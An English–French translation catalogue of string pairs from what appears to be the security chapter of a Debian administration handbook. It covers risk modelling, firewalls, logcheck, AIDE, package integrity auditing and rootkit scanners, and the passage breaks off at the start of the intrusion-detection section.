0 - en to fr-FR translation catalogue (264 entries)

en: Firewall
fr-FR: Pare-feu

en: Security
fr-FR: Sécurité

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
fr-FR: Un système d'information a, selon les cas, une importance variable ; parfois, il est vital à la survie d'une entreprise. Il doit donc être protégé en conséquence contre divers risques, ce que l'on regroupe communément sous l'appellation de sécurité.

en: Defining a Security Policy
fr-FR: Définir une politique de sécurité

en: <emphasis>CAUTION</emphasis> Scope of this chapter
fr-FR: <emphasis>ATTENTION</emphasis> Portée de ce chapitre

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
fr-FR: Le terme de « sécurité » recouvre une vaste étendue de concepts, d'outils et de procédures, qui ne s'appliquent pas à tous les cas. Il convient de s'interroger sur ce que l'on souhaite accomplir pour choisir lesquels mettre en œuvre. Pour sécuriser un système, il faut se poser quelques questions ; si l'on se lance tête baissée dans la mise en œuvre d'outils, on risque de se focaliser sur certains aspects au détriment des plus importants.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
fr-FR: Il est donc crucial de se fixer un but. Pour cela, il s'agit d'apporter des réponses aux questions suivantes :

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
fr-FR: Que cherche-t-on à protéger ? La politique de sécurité à mener ne sera pas la même selon que l'on cherche à protéger les ordinateurs ou les données. Et s'il s'agit des données, il faudra également se demander lesquelles.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
fr-FR: Contre quoi cherche-t-on à se protéger ? Est-ce d'un vol de données confidentielles ? De la perte accidentelle de ces données ? De la perte de revenu associée à une interruption de service ?

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
fr-FR: Également, de qui cherche-t-on à se protéger ? Les mesures de sécurité à mettre en place différeront largement selon que l'on cherche à se prémunir d'une faute de frappe d'un utilisateur habituel du système ou d'un groupe d'attaquants déterminés.

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
fr-FR: Il est d'usage d'appeler « risque » la conjonction des trois facteurs : ce qui doit être protégé, ce qu'on souhaite éviter et les éléments qui essaient de faire en sorte que cela arrive. La réunion des réponses à ces trois questions permet de modéliser ce risque. De cette modélisation découlera une politique de sécurité, qui se manifestera à son tour par des actions concrètes.

en: <emphasis>NOTE</emphasis> Permanent questioning
fr-FR: <emphasis>NOTE</emphasis> Remise en question permanente

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
fr-FR: Bruce Schneier, un des experts mondialement reconnus en matière de sécurité (pas uniquement informatique, d'ailleurs) lutte contre un des mythes importants de la sécurité par l'expression « La sécurité est un processus, non un produit. » Les actifs à protéger évoluent au fil du temps, de même que les menaces qui pèsent dessus et les moyens dont disposent les attaquants potentiels. Il est donc important, même si une politique de sécurité a été parfaitement conçue et mise en œuvre, de ne pas s'endormir sur ses lauriers. Les composants du risque évoluant, la réponse à apporter à ce risque doit également évoluer à leur suite.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
fr-FR: Il faudra enfin prendre en compte les contraintes qui peuvent limiter la liberté d'action. Jusqu'où est-on prêt à aller pour sécuriser le système ? Cette question a un impact majeur et la réponse apportée est trop souvent formulée en seuls termes de coût, alors qu'il faut également se demander jusqu'à quel point la politique de sécurité peut incommoder les utilisateurs du système, ou en dégrader les performances, par exemple.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
fr-FR: Une fois que l'on a établi une modélisation du risque dont on cherche à se prémunir, on peut se pencher sur la définition d'une politique de sécurité.

en: <emphasis>NOTE</emphasis> Extreme policies
fr-FR: <emphasis>NOTE</emphasis> Politiques extrêmes

en: There are cases where the choice of actions required to secure a system is extremely simple.
fr-FR: Dans certains cas, le choix des actions à mener pour sécuriser un système peut être extrêmement simple.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
fr-FR: Par exemple, si le système à protéger se compose exclusivement d'un ordinateur de récupération qu'on n'utilise que pour additionner des chiffres en fin de journée, on peut tout à fait raisonnablement décider de ne rien faire de spécial pour le protéger ; en effet, la valeur intrinsèque du système est faible, celle des données est nulle puisqu'elles ne sont pas stockées sur cet ordinateur et un attaquant potentiel ne gagnerait à s'infiltrer sur ce « système » qu'une calculatrice un peu encombrante. Le coût de la sécurisation d'un tel système dépasserait probablement largement celui du risque.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
fr-FR: À l'opposé, si l'on cherche à protéger absolument la confidentialité de données secrètes, au détriment de toute autre considération, une réponse appropriée serait la destruction complète de ces données (avec effacement des fichiers, puis pulvérisation des disques durs, dissolution dans de l'acide, etc.). Si les données doivent de plus être préservées, mais pas nécessairement accessibles, et si le coût n'est pas soumis à des contraintes, on pourra commencer en stockant ces données gravées sur des plaques de platine iridié stockées en divers bunkers répartis sous différentes montagnes dans le monde, chacun étant bien entendu entièrement secret mais gardé par des armées entières…

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
fr-FR: Dans la plupart des cas, on s'apercevra que le système informatique peut être segmenté en sous-ensembles cohérents plus ou moins indépendants. Chacun de ces sous-systèmes pourra avoir ses besoins et ses contraintes propres ; il faudra donc en général les considérer séparément lors de la définition des politiques de sécurité correspondantes. Il conviendra alors de toujours garder à l'esprit le principe selon lequel un périmètre court et bien défini est plus facile à défendre qu'une frontière vague et longue. L'organisation du réseau devra donc être pensée en conséquence, afin que les services les plus sensibles soient concentrés sur un petit nombre de machines et que ces machines ne soient accessibles qu'à travers un nombre minimal de points de passage, plus faciles à sécuriser que s'il faut défendre chacune des machines contre l'intégralité du monde extérieur. On voit clairement apparaître ici l'utilité des solutions de filtrage du trafic réseau, notamment par des pare-feu. On pourra pour cela utiliser du matériel dédié, mais une solution peut-être plus simple et plus souple est d'utiliser un pare-feu logiciel, tel que celui intégré dans le noyau Linux.

en: Firewall or Packet Filtering
fr-FR: Pare-feu ou filtre de paquets

en: <primary>firewall</primary>
fr-FR: <primary>pare-feu</primary>

en: <emphasis>BACK TO BASICS</emphasis> Firewall
fr-FR: <emphasis>B.A.-BA</emphasis> Pare-feu

en: <primary>packet</primary><secondary>IP</secondary>
fr-FR: <primary>paquet</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
fr-FR: Un pare-feu <foreignphrase>(firewall)</foreignphrase> est un ensemble matériel ou logiciel qui trie les paquets qui circulent par son intermédiaire, en provenance ou vers le réseau local, et ne laisse passer que ceux qui vérifient certaines conditions.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
fr-FR: Un pare-feu est une passerelle filtrante : il applique des règles de filtrage aux paquets qui le traversent (c'est pourquoi il n'est utile qu'en tant que point de passage obligé).

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
fr-FR: <emphasis>CAS PARTICULIER</emphasis> Pare-feu local

en: <primary>chain</primary>
fr-FR: <primary>chaîne</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
fr-FR: <emphasis>B.A.-BA</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
fr-FR: Rappelons qu'un tampon de réception est une petite zone mémoire contenant les données reçues par le réseau avant qu'elles ne soient traitées par le noyau. Si cette zone est pleine, il est alors impossible de recevoir d'autres données et ICMP signale le problème de sorte que le correspondant réduise la vitesse de transfert pour essayer d'atteindre un équilibre.

en: <primary>receive buffer</primary>
fr-FR: <primary>tampon de réception</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
fr-FR: <primary>réception, tampon</primary>

en: Installing the Rules at Each Boot
fr-FR: Installer les règles à chaque démarrage

en: <filename>interfaces</filename> file calling firewall script
fr-FR: Fichier <varname>interfaces</varname> avec appel du script de pare-feu

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
fr-FR: Ces exemples supposent que les interfaces réseau sont configurées par <emphasis role="pkg">ifupdown</emphasis>. Si vous utilisez un autre outil (par exemple <emphasis>NetworkManager</emphasis> ou <emphasis>systemd-networkd</emphasis>), il faudra vous référer à la documentation spécifique de cet outil pour trouver le moyen d'exécuter un script après la mise en marche de l'interface.

en: Supervision: Prevention, Detection, Deterrence
fr-FR: Supervision : prévention, détection, dissuasion

en: <primary>monitoring</primary>
fr-FR: <primary>supervision</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
fr-FR: La supervision fait partie intégrante d'une politique de sécurité. Elle est nécessaire à plusieurs titres : l'objectif de la sécurité n'est pas uniquement de garantir la confidentialité des données, mais aussi d'assurer le bon fonctionnement des services. Il est donc impératif de veiller à ce que tout fonctionne comme prévu et de détecter au plus tôt les comportements inhabituels et les changements dans la qualité du service fourni. Surveiller l'activité peut permettre de détecter des tentatives d'intrusion et donc de s'en protéger avant que cela ne porte à conséquences. Ce chapitre va passer en revue des outils servant à surveiller différents aspects d'un système Debian. Il complète la <xref linkend="sect.monitoring" />.

en: Monitoring Logs with <command>logcheck</command>
fr-FR: Surveillance des logs avec <command>logcheck</command>

en: <primary>monitoring</primary><secondary>log files</secondary>
fr-FR: <primary>surveillance</primary><secondary>des logs</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
fr-FR: Le programme <command>logcheck</command> scrute par défaut les fichiers de logs toutes les heures et envoie par courrier électronique à <literal>root</literal> les messages les plus inhabituels pour aider à détecter tout nouveau problème.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
fr-FR: La liste des fichiers scrutés se trouve dans le fichier <filename>/etc/logcheck/logcheck.logfiles</filename> ; les choix par défaut conviendront si le fichier <filename>/etc/rsyslog.conf</filename> n'a pas été complètement remodelé.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
fr-FR: <command>logcheck</command> peut fonctionner en 3 modes plus ou moins détaillés : <foreignphrase>paranoid</foreignphrase> (paranoïaque), <foreignphrase>server</foreignphrase> (serveur) et <foreignphrase>workstation</foreignphrase> (station de travail). Le premier étant le plus verbeux, on le réservera aux serveurs spécialisés (comme les pare-feu). Le deuxième mode, choisi par défaut, est recommandé pour les serveurs. Le dernier, prévu pour les stations de travail, élimine encore plus de messages.

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
fr-FR: Dans tous les cas, il faudra probablement paramétrer <command>logcheck</command> pour exclure des messages supplémentaires (selon les services installés) sous peine d'être envahi chaque heure par une multitude de messages inintéressants. Leur mécanisme de sélection étant relativement complexe, il faut lire à tête reposée le document <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> pour bien le comprendre.

en: The applied rules can be split into several types:
fr-FR: Plusieurs types de règles sont appliqués :

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
fr-FR: celles qui qualifient un message comme résultant d'une tentative d'attaque (elles sont stockées dans un fichier du répertoire <filename>/etc/logcheck/cracking.d/</filename>) ;

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
fr-FR: celles qui annulent cette qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>) ;

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
fr-FR: celles qui qualifient un message comme une alerte de sécurité (<filename>/etc/logcheck/violations.d/</filename>) ;

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
fr-FR: celles qui annulent cette qualification (<filename>/etc/logcheck/violations.ignore.d/</filename>) ;

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
fr-FR: et enfin celles qui s'appliquent à tous les messages restants (les <foreignphrase>System Events</foreignphrase>, ou événements système).

en: <emphasis>CAUTION</emphasis> Ignoring a message
fr-FR: <emphasis>ATTENTION</emphasis> Ignorer un message

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
fr-FR: Tout message marqué comme une tentative d'attaque ou une alerte de sécurité (suite par exemple à une règle du fichier <filename>/etc/logcheck/violations.d/monfichier</filename>) ne pourra être ignoré que par une règle des fichiers <filename>/etc/logcheck/violations.ignore.d/monfichier</filename> ou <filename>/etc/logcheck/violations.ignore.d/monfichier-<replaceable>extension</replaceable></filename>.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
fr-FR: Un événement système sera systématiquement signalé, sauf si une règle de l'un des répertoires <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> dicte de l'ignorer. Évidemment, seuls les répertoires correspondant à des niveaux de verbosité supérieurs ou égaux au niveau sélectionné sont pris en compte.

en: Monitoring Activity
fr-FR: Surveillance de l'activité

en: <primary>monitoring</primary><secondary>activity</secondary>
fr-FR: <primary>surveillance</primary><secondary>de l'activité</secondary>

en: <primary>activity, monitoring</primary>
fr-FR: <primary>activité, surveillance</primary>

en: In Real Time
fr-FR: En temps réel

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
fr-FR: <command>top</command> est un utilitaire interactif qui affiche la liste des processus en cours d'exécution. Par défaut, son critère de tri est l'utilisation actuelle du processeur (touche <keycap>P</keycap>), mais on peut opter pour la mémoire occupée (touche <keycap>M</keycap>), le temps processeur consommé (touche <keycap>T</keycap>) ou le numéro de processus ou PID (touche <keycap>N</keycap>). La touche <keycap>k</keycap> (comme <foreignphrase>kill</foreignphrase>) nécessite un numéro de processus à tuer. <keycap>r</keycap> (comme <foreignphrase>renice</foreignphrase>) change la priorité d'un processus.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
fr-FR: <command>top</command> est un outil de base très souple et sa page de manuel explique comment en personnaliser l'affichage pour l'adapter aux besoins et aux habitudes de chacun.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
fr-FR: L'outil graphique <command>gnome-system-monitor</command> est similaire à <command>top</command>, et il propose sensiblement les mêmes fonctionnalités.

en: History
fr-FR: Historique

en: <primary>activity, history</primary>
fr-FR: <primary>activité, historique</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
fr-FR: La charge du processeur, le trafic réseau et l'espace disque disponible sont des informations qui varient en permanence. Il est souvent intéressant de garder une trace de leur évolution pour mieux cerner l'usage qui est fait de l'ordinateur.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
fr-FR: Il existe de nombreux outils dédié à cette tâche. La plupart peuvent récupérer des données via SNMP (<foreignphrase>Simple Network Management Protocol</foreignphrase>, ou protocole simple de gestion du réseau) afin de centraliser ces informations. Cela permet en outre de récupérer des informations sur des éléments du réseau qui ne sont pas nécessairement des ordinateurs (comme des routeurs).

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
fr-FR: <command>mrtg</command> (du paquet Debian éponyme) est un outil plus ancien et plus rustique capable d'agréger des données historiques et d'en faire des graphiques. Il dispose d'un certain nombre de scripts de récupération des données les plus couramment surveillées : charge, trafic réseau, impacts <foreignphrase>(hits)</foreignphrase> web, etc.

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
fr-FR: Les paquets <emphasis role="pkg">mrtg-contrib</emphasis> et <emphasis role="pkg">mrtgutils</emphasis> contiennent des scripts d'exemples, prêts à l'emploi.

en: <primary>intrusion detection</primary>
fr-FR: <primary>détection d'intrusion</primary>

en: Detecting Changes
fr-FR: Détection des changements

en: Auditing Packages with <command>dpkg --verify</command>
fr-FR: Audit des paquets avec <command>dpkg --verify</command>

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
fr-FR: <emphasis>POUR ALLER PLUS LOIN</emphasis> Se protéger des modifications en amont

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
fr-FR: <command>dpkg --verify</command> (ou <command>dpkg -V</command>) est un outil intéressant qui permet de trouver quels fichiers installés ont été modifiés (potentiellement par un attaquant), mais cette information est à prendre avec précaution. Pour faire son travail, dpkg utilise les sommes de contrôle stockée dans sa propre base de données, qui est elle-même stockée sur le disque dur (dans le fichier <filename>/var/lib/dpkg/info/<replaceable>paquet</replaceable>.md5sums</filename>) ; un attaquant minutieux pourra donc mettre à jour ces fichiers pour qu'ils correspondent aux nouvelles sommes de contrôle des fichiers corrompus.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
fr-FR: <emphasis>B.A.-BA</emphasis> Empreinte d'un fichier

en: <primary>fingerprint</primary>
fr-FR: <primary>empreinte</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
fr-FR: La commande <command>dpkg -V</command> vérifie tous les paquets installés, et affiche une ligne pour chaque fichier qui échoue au test d'intégrité. Le format de sortie est le même que celui de <command>rpm -V</command>, où chaque caractère correspond à un test sur une métadonnée spécifique.  Malheureusement, <command>dpkg</command> ne stocke pas toutes les métadonnées requises pour tous les tests, et n'affichera donc que des points d'interrogation pour la plupart. À l'heure actuelle, seul le test de somme de contrôle peut afficher un « 5 » (en troisième colonne) en cas d'échec.

en: Auditing Packages: <command>debsums</command> and its Limits
fr-FR: Audit des paquets : l'outil <command>debsums</command> et ses limites

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
fr-FR: Comme il n'est pas possible de faire confiance aux fichiers stockés sur le disque, <command>debsums</command> permet d'effectuer ses vérifications à partir de fichiers <filename>.deb</filename> plutôt qu'à partir de la base de données de dpkg. Pour télécharger les fichiers <filename>.deb</filename> de confiance de tous les paquets installés, on peut utiliser les téléchargements authentifiés d'APT. Mais cette opération peut être longue et pénible, et n'est donc pas à envisager dans le cadre d'une technique proactive à utiliser de manière routinière.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
fr-FR: Attention, cet exemple a employé la commande <command>grep-status</command> du paquet <emphasis role="pkg">dctrl-tools</emphasis>, qui n'est pas installé en standard.

en: Monitoring Files: AIDE
fr-FR: Surveillance des fichiers : AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
fr-FR: AIDE <foreignphrase>(Advanced Intrusion Detection Environment)</foreignphrase> est un outil qui sert à vérifier l'intégrité des fichiers et à détecter toute altération par rapport à une image du système préalablement enregistrée et validée. Cette dernière prend la forme d'une base de données (<filename>/var/lib/aide/aide.db</filename>) contenant les caractéristiques de tous les fichiers du système (permissions, horodatages, empreintes numériques, etc.). Cette base de données est initialisée une première fois par <command>aideinit</command> ; elle est ensuite employée pour vérifier quotidiennement (script <filename>/etc/cron.daily/aide</filename>) que rien n'a changé. Si des changements sont détectés, le logiciel les enregistre dans des fichiers de journalisation (<filename>/var/log/aide/*.log</filename>) et envoie un courrier à l'administrateur avec ses découvertes.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
fr-FR: <emphasis>EN PRATIQUE</emphasis> Protection de la base de données

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
fr-FR: Puisque AIDE utilise une base de données pour comparer l'état des fichiers, il faut être conscient que la validité des résultats fournis dépend de la validité de la base de données. Sur un système compromis, un attaquant obtenant les droits <literal>root</literal> pourra remplacer la base de données et passer inaperçu. C'est pourquoi, pour plus de sécurité, il peut être intéressant de stocker la base de données de référence sur un support accessible en lecture seulement.

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
fr-FR: Le comportement du paquet <emphasis role="pkg">aide</emphasis> se paramètre grâce à de nombreuses options dans <filename>/etc/default/aide</filename>. La configuration du logiciel proprement dit se trouve dans <filename>/etc/aide/aide.conf</filename> et <filename>/etc/aide/aide.conf.d/</filename> (en réalité, ces fichiers servent de base à <command>update-aide.conf</command> pour créer <filename>/var/lib/aide/aide.conf.autogenerated</filename>). La configuration indique quelles propriétés de chaque fichier il faut vérifier. Ainsi, le contenu des fichiers de logs peut varier tant que les permissions associées ne varient pas, mais le contenu et les permissions d'un exécutable doivent être fixes. La syntaxe n'est pas très compliquée, mais elle n'est pas forcément intuitive pour autant. La lecture de la page de manuel <citerefentry><refentrytitle>aide.conf</refentrytitle><manvolnum>5</manvolnum></citerefentry> est donc bénéfique.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
fr-FR: Une nouvelle version de la base de données est générée chaque jour dans <filename>/var/lib/aide/aide.db.new</filename> et peut être utilisée pour remplacer la base officielle si tous les changements constatés étaient légitimes.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
fr-FR: <emphasis>ALTERNATIVE</emphasis> Tripwire et Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
fr-FR: Tripwire est très similaire à AIDE ; la syntaxe de son fichier de configuration est quasiment identique. Le paquet <emphasis role="pkg">tripwire</emphasis> propose en outre un mécanisme de signature du fichier de configuration afin qu'un attaquant ne puisse pas le changer pour le faire pointer vers une version différente de la base de données.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
fr-FR: Samhain offre des fonctionnalités similaires ainsi qu'un certain nombre de fonctions pour détecter la présence de <foreignphrase>rootkits</foreignphrase> (voir <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). En outre, il peut être employé sur tout un réseau et enregistrer ses traces sur un serveur central après les avoir signées.

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
fr-FR: <emphasis>DÉCOUVERTE</emphasis> Les paquets <emphasis role="pkg">checksecurity</emphasis> et <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
fr-FR: Le premier paquet contient plusieurs petits scripts qui effectuent des vérifications de base sur le système (mot de passe vide, détection de nouveaux fichiers setuid, etc.) et alertent l'administrateur si nécessaire. Malgré son nom explicite, il ne faut pas se fier seulement à ce paquet pour vérifier la sécurité d'un système Linux.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
fr-FR: Les paquets <emphasis role="pkg">chkrootkit</emphasis> et <emphasis role="pkg">rkhunter</emphasis> recherchent de potentiels <foreignphrase>rootkits</foreignphrase> installés sur le système. Rappelons qu'il s'agit de logiciels destinés à dissimuler la compromission d'un système et à conserver un contrôle discret sur la machine. Les tests ne sont pas fiables à 100 %, mais ils permettent tout de même d'attirer l'attention de l'administrateur sur des problèmes potentiels.

en: Detecting Intrusion (IDS/NIDS)
fr-FR: Détection d'intrusion (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
fr-FR: <emphasis>B.A.-BA</emphasis> Dénis de service

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
